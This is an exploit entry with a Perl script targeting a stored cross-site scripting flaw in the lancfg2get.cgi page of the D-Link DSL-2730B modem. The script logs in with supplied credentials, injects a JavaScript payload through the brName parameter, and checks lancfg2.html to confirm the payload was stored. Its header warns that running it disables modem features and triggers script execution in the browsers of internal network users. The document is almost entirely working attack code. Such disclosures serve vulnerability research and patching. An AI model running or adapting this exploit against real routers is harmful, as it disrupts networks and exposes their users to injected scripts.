D-Link DSL-2730B Modem – ‘Lancfg2get.cgi Persistent Cross-Site Scripting
# Exploit Title: D-Link DSL-2730B Modem lancfg2get.cgi Exploit XSS Injection Stored # Date: 11-01-2015 # Exploit Author: Mauricio Correa # Vendor Homepage: www.dlink.com # Hardware version: C1 # Version: GE 1.01 # Tested on: Windows 8 and Linux #!/usr/bin/perl # # Date dd-mm-aaaa: 11-11-2014 # Exploit for D-Link DSL-2730B # Cross Site Scripting (XSS Injection) Stored in lancfg2get.cgi # Developed by Mauricio Corrêa # XLabs Information Security # WebSite: www.xlabs.com.br # More informations: www.xlabs.com.br/blog/?p=339 # # CAUTION! # This exploit disables some features of the modem, # forcing the administrator of the device, accessing the page to reconfigure the modem again, # occurring script execution in the browser of internal network users. # # Use with caution! # Use at your own risk! # use strict; use warnings; use diagnostics; use LWP::UserAgent; use HTTP::Request; use URI::Escape; my $ip = $ARGV[0]; my $user = $ARGV[1]; my $pass = $ARGV[2]; $ip = $1 if($ip=~/(.*)\/$/); if (@ARGV != 3){ print "\n"; print "XLabs Information Security www.xlabs.com.br\n"; print "Exploit for POC D-Link DSL-2730B Stored XSS Injection in lancfg2get.cgi\n"; print "Developed by Mauricio Correa\n"; print "Contact: mauricio\@xlabs.com.br\n"; print "Usage: perl $0 http:\/\/host_ip\/ user pass\n"; }else{ print "XLabs Information Security www.xlabs.com.br\n"; print "Exploit for POC D-Link DSL-2730B Stored XSS Injection in lancfg2get.cgi\n"; print "Developed by Mauricio Correa\n"; print "Contact: mauricio\@xlabs.com.br\n"; print "[+] Exploring $ip\/ ...\n"; my $payload = "%27;alert(%27XLabsSec%27);\/\/"; my $ua = new LWP::UserAgent; my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" ); $hdrs->authorization_basic($user, $pass); chomp($ip); print "[+] Preparing exploit...\n"; my $url_and_xpl = "$ip/lancfg2get.cgi?brName=$payload"; my $req = new HTTP::Request("GET",$url_and_xpl,$hdrs); print "[+] Prepared!\n"; print "[+] Requesting and Exploiting...\n"; my $resp = $ua->request($req); if ($resp->is_success){ print "[+] Successfully Requested!\n"; my $url = "$ip/lancfg2.html"; $req = new HTTP::Request("GET",$url,$hdrs); print "[+] Checking that was explored...\n"; my $resp2 = $ua->request($req); if ($resp2->is_success){ my $resultado = $resp2->as_string; if(index($resultado, uri_unescape($payload)) != -1){ print "[+] Successfully Exploited!"; }else{ print "[-] Not Exploited!"; } } }else { print "[-] Ops!\n"; print $resp->message; } } |